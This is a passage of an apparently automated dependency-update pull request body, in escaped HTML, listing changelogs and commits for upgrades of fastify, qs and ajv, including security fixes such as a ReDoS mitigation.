href=\"https://redirect.github.com/fastify/fastify/pull/5661\"\u003efastify/fastify#5661\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/OluchiEzeifedikwa\"\u003e\u003ccode\u003e@​OluchiEzeifedikwa\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6479\"\u003efastify/fastify#6479\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/avifenesh\"\u003e\u003ccode\u003e@​avifenesh\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6560\"\u003efastify/fastify#6560\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/a3e77ce171516e95f0c28ce60b9e5228a4c42fe4\"\u003e\u003ccode\u003ea3e77ce\u003c/code\u003e\u003c/a\u003e Bumped v5.8.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/4e1db5bd0012ccf63a49ff105a63e25981b9a747\"\u003e\u003ccode\u003e4e1db5b\u003c/code\u003e\u003c/a\u003e fix: gate host and protocol getters on proxy trust function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/a22217f9420f70017a419d8e18b2a3141ab27989\"\u003e\u003ccode\u003ea22217f\u003c/code\u003e\u003c/a\u003e ci(lock-threads): use shared lock-threads workflow (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6592\"\u003e#6592\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/1851f208e72be06ca419f2000dea63e540ff1ab0\"\u003e\u003ccode\u003e1851f20\u003c/code\u003e\u003c/a\u003e docs: update links (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6593\"\u003e#6593\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/9cc5187be2dc7c38fd68d0d43541f16ed6d1e1ad\"\u003e\u003ccode\u003e9cc5187\u003c/code\u003e\u003c/a\u003e types: Allow port to be null in request type definition (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6589\"\u003e#6589\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/722d83b0632387b853b218ae3a7da40cc46e2677\"\u003e\u003ccode\u003e722d83b\u003c/code\u003e\u003c/a\u003e docs: replace redirected npm.im http-errors link (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6588\"\u003e#6588\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/a1413de2033b2b00dc1d3563d4f00a7e15ceab2d\"\u003e\u003ccode\u003ea1413de\u003c/code\u003e\u003c/a\u003e docs: fix incorrect code examples in Reply and Request reference (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6582\"\u003e#6582\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/d7f01b600811172d7f7023bccc5e96583159202b\"\u003e\u003ccode\u003ed7f01b6\u003c/code\u003e\u003c/a\u003e docs: clarify content-type parser/schema mismatch is outside threat model (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6\"\u003e#6\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/a0649e92e93c1ad8b164020f61be5d5fa287d506\"\u003e\u003ccode\u003ea0649e9\u003c/code\u003e\u003c/a\u003e docs: update syntax markdown, absolute paths and links (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6569\"\u003e#6569\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/d4779155286ea1d31c24dba1e90d7d478909382b\"\u003e\u003ccode\u003ed477915\u003c/code\u003e\u003c/a\u003e ci(link-checker): fix root-relative links resolution (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6535\"\u003e#6535\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/fastify/fastify/compare/v4.23.2...v5.8.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `qs` from 6.11.0 to 6.14.2\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ljharb/qs/blob/main/CHANGELOG.md\"\u003eqs's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003cstrong\u003e6.14.2\u003c/strong\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[Fix] \u003ccode\u003eparse\u003c/code\u003e: mark overflow objects for indexed notation exceeding \u003ccode\u003earrayLimit\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/ljharb/qs/issues/546\"\u003e#546\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[Fix] \u003ccode\u003earrayLimit\u003c/code\u003e means max count, not max index, in \u003ccode\u003ecombine\u003c/code\u003e/\u003ccode\u003emerge\u003c/code\u003e/\u003ccode\u003eparseArrayValue\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e[Fix] \u003ccode\u003eparse\u003c/code\u003e: throw on \u003ccode\u003earrayLimit\u003c/code\u003e exceeded with indexed notation when \u003ccode\u003ethrowOnLimitExceeded\u003c/code\u003e is true (\u003ca href=\"https://redirect.github.com/ljharb/qs/issues/529\"\u003e#529\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[Fix] \u003ccode\u003eparse\u003c/code\u003e: enforce \u003ccode\u003earrayLimit\u003c/code\u003e on \u003ccode\u003ecomma\u003c/code\u003e-parsed values\u003c/li\u003e\n\u003cli\u003e[Fix] \u003ccode\u003eparse\u003c/code\u003e: fix error message to reflect arrayLimit as max index; remove extraneous comments (\u003ca href=\"https://redirect.github.com/ljharb/qs/issues/545\"\u003e#545\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[Robustness] avoid \u003ccode\u003e.push\u003c/code\u003e, use \u003ccode\u003evoid\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e[readme] document that \u003ccode\u003eaddQueryPrefix\u003c/code\u003e does not add \u003ccode\u003e?\u003c/code\u003e to empty output (\u003ca href=\"https://redirect.github.com/ljharb/qs/issues/418\"\u003e#418\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[readme] clarify \u003ccode\u003eparseArrays\u003c/code\u003e and \u003ccode\u003earrayLimit\u003c/code\u003e documentation (\u003ca href=\"https://redirect.github.com/ljharb/qs/issues/543\"\u003e#543\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[readme] replace runkit CI badge with shields.io check-runs badge\u003c/li\u003e\n\u003cli\u003e[meta] fix changelog typo (\u003ccode\u003earrayLength\u003c/code\u003e → \u003ccode\u003earrayLimit\u003c/code\u003e)\u003c/li\u003e\n\u003cli\u003e[actions] fix rebase workflow permissions\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003cstrong\u003e6.14.1\u003c/strong\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[Fix] ensure \u003ccode\u003earrayLimit\u003c/code\u003e applies to \u003ccode\u003e[]\u003c/code\u003e notation as well\u003c/li\u003e\n\u003cli\u003e[Fix] \u003ccode\u003eparse\u003c/code\u003e: when a custom decoder returns \u003ccode\u003enull\u003c/code\u003e for a key, ignore that key\u003c/li\u003e\n\u003cli\u003e[Refactor] \u003ccode\u003eparse\u003c/code\u003e: extract key segment splitting helper\u003c/li\u003e\n\u003cli\u003e[meta] add threat model\u003c/li\u003e\n\u003cli\u003e[actions] add workflow permissions\u003c/li\u003e\n\u003cli\u003e[Tests] \u003ccode\u003estringify\u003c/code\u003e: increase coverage\u003c/li\u003e\n\u003cli\u003e[Dev Deps] update \u003ccode\u003eeslint\u003c/code\u003e, \u003ccode\u003e@ljharb/eslint-config\u003c/code\u003e, \u003ccode\u003enpmignore\u003c/code\u003e, \u003ccode\u003ees-value-fixtures\u003c/code\u003e, \u003ccode\u003efor-each\u003c/code\u003e, \u003ccode\u003eobject-inspect\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003cstrong\u003e6.14.0\u003c/strong\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[New] \u003ccode\u003eparse\u003c/code\u003e: add \u003ccode\u003ethrowOnParameterLimitExceeded\u003c/code\u003e option (\u003ca href=\"https://redirect.github.com/ljharb/qs/issues/517\"\u003e#517\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[Refactor] \u003ccode\u003eparse\u003c/code\u003e: use \u003ccode\u003eutils.combine\u003c/code\u003e more\u003c/li\u003e\n\u003cli\u003e[patch] \u003ccode\u003eparse\u003c/code\u003e: add explicit \u003ccode\u003ethrowOnLimitExceeded\u003c/code\u003e default\u003c/li\u003e\n\u003cli\u003e[actions] use shared action; re-add finishers\u003c/li\u003e\n\u003cli\u003e[meta] Fix changelog formatting bug\u003c/li\u003e\n\u003cli\u003e[Deps] update \u003ccode\u003eside-channel\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e[Dev Deps] update \u003ccode\u003ees-value-fixtures\u003c/code\u003e, \u003ccode\u003ehas-bigints\u003c/code\u003e, \u003ccode\u003ehas-proto\u003c/code\u003e, \u003ccode\u003ehas-symbols\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e[Tests] increase coverage\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003cstrong\u003e6.13.3\u003c/strong\u003e\u003c/h2\u003e\n\u003cp\u003e[Fix] fix regressions from robustness refactor\n[actions] update reusable workflows\u003c/p\u003e\n\u003ch2\u003e\u003cstrong\u003e6.13.2\u003c/strong\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[Robustness] avoid \u003ccode\u003e.push\u003c/code\u003e, use \u003ccode\u003evoid\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e[readme] clarify \u003ccode\u003eparseArrays\u003c/code\u003e and \u003ccode\u003earrayLimit\u003c/code\u003e documentation (\u003ca href=\"https://redirect.github.com/ljharb/qs/issues/543\"\u003e#543\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[readme] document that \u003ccode\u003eaddQueryPrefix\u003c/code\u003e does not add \u003ccode\u003e?\u003c/code\u003e to empty output (\u003ca href=\"https://redirect.github.com/ljharb/qs/issues/418\"\u003e#418\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[readme] replace runkit CI badge with shields.io check-runs badge\u003c/li\u003e\n\u003cli\u003e[actions] fix rebase workflow permissions\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003cstrong\u003e6.13.1\u003c/strong\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[Fix] \u003ccode\u003estringify\u003c/code\u003e: avoid a crash when a \u003ccode\u003efilter\u003c/code\u003e key is \u003ccode\u003enull\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e[Fix] \u003ccode\u003eutils.merge\u003c/code\u003e: functions should not be stringified into keys\u003c/li\u003e\n\u003cli\u003e[Fix] \u003ccode\u003eparse\u003c/code\u003e: avoid a crash with interpretNumericEntities: true, comma: true, and iso charset\u003c/li\u003e\n\u003cli\u003e[Fix] \u003ccode\u003estringify\u003c/code\u003e: ensure a non-string \u003ccode\u003efilter\u003c/code\u003e does not crash\u003c/li\u003e\n\u003cli\u003e[Refactor] use \u003ccode\u003e__proto__\u003c/code\u003e syntax instead of \u003ccode\u003eObject.create\u003c/code\u003e for null objects\u003c/li\u003e\n\u003cli\u003e[Refactor] misc cleanup\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ljharb/qs/commit/bdcf0c7f82387c18ac8fabfccd2f440645cef47b\"\u003e\u003ccode\u003ebdcf0c7\u003c/code\u003e\u003c/a\u003e v6.14.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ljharb/qs/commit/294db90c812ddbe7d7a35d5687c505fd21a2d6a2\"\u003e\u003ccode\u003e294db90\u003c/code\u003e\u003c/a\u003e [readme] document that \u003ccode\u003eaddQueryPrefix\u003c/code\u003e does not add \u003ccode\u003e?\u003c/code\u003e to empty output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ljharb/qs/commit/5c308e5516c270a78caa6f278465914090f91ec6\"\u003e\u003ccode\u003e5c308e5\u003c/code\u003e\u003c/a\u003e [readme] clarify \u003ccode\u003eparseArrays\u003c/code\u003e and \u003ccode\u003earrayLimit\u003c/code\u003e documentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ljharb/qs/commit/6addf8cf738d529c54d91f6f3ffb6c1be91bbfdc\"\u003e\u003ccode\u003e6addf8c\u003c/code\u003e\u003c/a\u003e [Fix] \u003ccode\u003eparse\u003c/code\u003e: mark overflow objects for indexed notation exceeding \u003ccode\u003earrayLimit\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ljharb/qs/commit/cfc108f662326d6ab540f3545ef0b832baf83cdf\"\u003e\u003ccode\u003ecfc108f\u003c/code\u003e\u003c/a\u003e [Fix] \u003ccode\u003earrayLimit\u003c/code\u003e means max count, not max index, in \u003ccode\u003ecombine\u003c/code\u003e/\u003ccode\u003emerge\u003c/code\u003e/`pars...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ljharb/qs/commit/febb64442a80e49200211fa38d3c96b58024ac77\"\u003e\u003ccode\u003efebb644\u003c/code\u003e\u003c/a\u003e [Fix] \u003ccode\u003eparse\u003c/code\u003e: throw on \u003ccode\u003earrayLimit\u003c/code\u003e exceeded with indexed notation when `thr...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ljharb/qs/commit/f6a7abff1f13d644db9b05fe4f2c98ada6bf8482\"\u003e\u003ccode\u003ef6a7abf\u003c/code\u003e\u003c/a\u003e [Fix] \u003ccode\u003eparse\u003c/code\u003e: enforce \u003ccode\u003earrayLimit\u003c/code\u003e on \u003ccode\u003ecomma\u003c/code\u003e-parsed values\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ljharb/qs/commit/fbc5206c25b4d1851cea683f02c10756c521d15a\"\u003e\u003ccode\u003efbc5206\u003c/code\u003e\u003c/a\u003e [Fix] \u003ccode\u003eparse\u003c/code\u003e: fix error message to reflect arrayLimit as max index; remove e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ljharb/qs/commit/1b9a8b4e78c6aff4c22fa559107227f02fd0216a\"\u003e\u003ccode\u003e1b9a8b4\u003c/code\u003e\u003c/a\u003e [actions] fix rebase workflow permissions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ljharb/qs/commit/2a35775614e0fb46ac8a3060201a32a7c23a7fda\"\u003e\u003ccode\u003e2a35775\u003c/code\u003e\u003c/a\u003e [meta] fix changelog typo (\u003ccode\u003earrayLength\u003c/code\u003e → \u003ccode\u003earrayLimit\u003c/code\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ljharb/qs/compare/v6.11.0...v6.14.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `ajv` from 8.12.0 to 8.18.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ajv-validator/ajv/releases\"\u003eajv's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.18.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: allow tree-shaking by adding \u003ccode\u003e\u0026quot;sideEffects\u0026quot;: false\u003c/code\u003e to \u003ccode\u003epackage.json\u003c/code\u003e by \u003ca href=\"https://github.com/josdejong\"\u003e\u003ccode\u003e@​josdejong\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2480\"\u003eajv-validator/ajv#2480\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2482\"\u003e#2482\u003c/a\u003e Infinity and NaN serialise to null by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2487\"\u003eajv-validator/ajv#2487\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: small grammatical error in managing-schemas.md by \u003ca href=\"https://github.com/monteiro-renato\"\u003e\u003ccode\u003e@​monteiro-renato\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2508\"\u003eajv-validator/ajv#2508\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: typos in schema-language.md by \u003ca href=\"https://github.com/monteiro-renato\"\u003e\u003ccode\u003e@​monteiro-renato\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2507\"\u003eajv-validator/ajv#2507\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(pattern): use configured RegExp engine with $data keyword to mitigate ReDoS attacks (CVE-2025-69873) by \u003ca href=\"https://github.com/epoberezkin\"\u003e\u003ccode\u003e@​epoberezkin\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2586\"\u003eajv-validator/ajv#2586\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/josdejong\"\u003e\u003ccode\u003e@​josdejong\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2480\"\u003eajv-validator/ajv#2480\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/monteiro-renato\"\u003e\u003ccode\u003e@​monteiro-renato\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2508\"\u003eajv-validator/ajv#2508\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/ajv-validator/ajv/compare/v8.17.1...v8.18.0\"\u003ehttps://github.com/ajv-validator/ajv/compare/v8.17.1...v8.18.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev8.17.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003ebump version to 8.17.1 by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2472\"\u003eajv-validator/ajv#2472\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/ajv-validator/ajv/compare/v8.17.0...v8.17.1\"\u003ehttps://github.com/ajv-validator/ajv/compare/v8.17.0...v8.17.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ePlus everything in 8.17.0 which failed to release\u003c/h2\u003e\n\u003cp\u003eThe only functional change is to switch from uri-js (which is no longer supported), to fast-uri. This is the second attempt and the team on fast-uri have been really helpful addressing the issues we found last time.\u003c/p\u003e\n\u003cp\u003eRevert \u0026quot;Revert fast-uri change (\u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2444\"\u003eajv-validator/ajv#2444\u003c/a\u003e)\u0026quot; by \u003ca href=\"https://github.com/gurgunday\"\u003e\u003ccode\u003e@​gurgunday\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2448\"\u003eajv-validator/ajv#2448\u003c/a\u003e\nfix: ignore new eslint error for \u003ccode\u003e@​typescript-eslint/no-extraneous-class\u003c/code\u003e by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2455\"\u003eajv-validator/ajv#2455\u003c/a\u003e\ndocs: clarify behaviour of addVocabulary by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2454\"\u003eajv-validator/ajv#2454\u003c/a\u003e\ndocs: refactor to improve legibility by \u003ca href=\"https://github.com/blottn\"\u003e\u003ccode\u003e@​blottn\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2432\"\u003eajv-validator/ajv#2432\u003c/a\u003e\nFix grammatical typo in managing-schemas.md by \u003ca href=\"https://github.com/wetneb\"\u003e\u003ccode\u003e@​wetneb\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2305\"\u003eajv-validator/ajv#2305\u003c/a\u003e\ndocs: Fix broken strict-mode link by \u003ca href=\"https://github.com/alexanderjsx\"\u003e\u003ccode\u003e@​alexanderjsx\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2459\"\u003eajv-validator/ajv#2459\u003c/a\u003e\nfeat: add test for encoded refs and bump fast-uri by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2449\"\u003eajv-validator/ajv#2449\u003c/a\u003e\nfix: changes for \u003ccode\u003e@​typescript-eslint/array-type\u003c/code\u003e rule by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2467\"\u003eajv-validator/ajv#2467\u003c/a\u003e\nfixes \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2217\"\u003eajv-validator/ajv#2217\u003c/a\u003e - clarify custom keyword naming by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2457\"\u003eajv-validator/ajv#2457\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev8.17.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cp\u003eThe only functional change is to switch from uri-js (which is no longer supported), to fast-uri. This is the second attempt and the team on fast-uri have been really helpful addressing the issues we found last time.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRevert \u0026quot;Revert fast-uri change (\u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2444\"\u003e#2444\u003c/a\u003e)\u0026quot; by \u003ca href=\"https://github.com/gurgunday\"\u003e\u003ccode\u003e@​gurgunday\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2448\"\u003eajv-validator/ajv#2448\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: ignore new eslint error for \u003ccode\u003e@​typescript-eslint/no-extraneous-class\u003c/code\u003e by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2455\"\u003eajv-validator/ajv#2455\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: clarify behaviour of addVocabulary by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2454\"\u003eajv-validator/ajv#2454\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: refactor to improve legibility by \u003ca href=\"https://github.com/blottn\"\u003e\u003ccode\u003e@​blottn\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2432\"\u003eajv-validator/ajv#2432\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix grammatical typo in managing-schemas.md by \u003ca href=\"https://github.com/wetneb\"\u003e\u003ccode\u003e@​wetneb\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2305\"\u003eajv-validator/ajv#2305\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: Fix broken strict-mode link by \u003ca href=\"https://github.com/alexanderjsx\"\u003e\u003ccode\u003e@​alexanderjsx\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2459\"\u003eajv-validator/ajv#2459\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: add test for encoded refs and bump fast-uri by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2449\"\u003eajv-validator/ajv#2449\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: changes for \u003ccode\u003e@​typescript-eslint/array-type\u003c/code\u003e rule by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2467\"\u003eajv-validator/ajv#2467\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efixes \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2217\"\u003e#2217\u003c/a\u003e - clarify custom keyword naming by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2457\"\u003eajv-validator/ajv#2457\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/142ce84b807c4fe66e619c22480a28d0e4bd50fa\"\u003e\u003ccode\u003e142ce84\u003c/code\u003e\u003c/a\u003e 8.18.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/720a23fa453ffae8340e92c9b0fe886c54cfe0d5\"\u003e\u003ccode\u003e720a23f\u003c/code\u003e\u003c/a\u003e fix(pattern): use configured RegExp engine with $data keyword to mitigate ReD...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/82735a15826a30cc51e97a1bbfb59b3d388e4b98\"\u003e\u003ccode\u003e82735a1\u003c/code\u003e\u003c/a\u003e fix: typos in schema-language.md (\u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2507\"\u003e#2507\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/b17ec32cd97542e90ae27231d8a8bce88b9e53b6\"\u003e\u003ccode\u003eb17ec32\u003c/code\u003e\u003c/a\u003e fix: small grammatical error in managing-schemas.md (\u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2508\"\u003e#2508\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/69568d08564303e2c32a2de61feb833b41075f96\"\u003e\u003ccode\u003e69568d0\u003c/code\u003e\u003c/a\u003e fix: \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2482\"\u003e#2482\u003c/a\u003e Infinity and NaN serialise to null (\u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2487\"\u003e#2487\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/f06766f33ed7291f84c19f22a1286a34475fbdaf\"\u003e\u003ccode\u003ef06766f\u003c/code\u003e\u003c/a\u003e feat: allow tree-shaking by adding ``\u0026quot;sideEffects\u0026quot;: 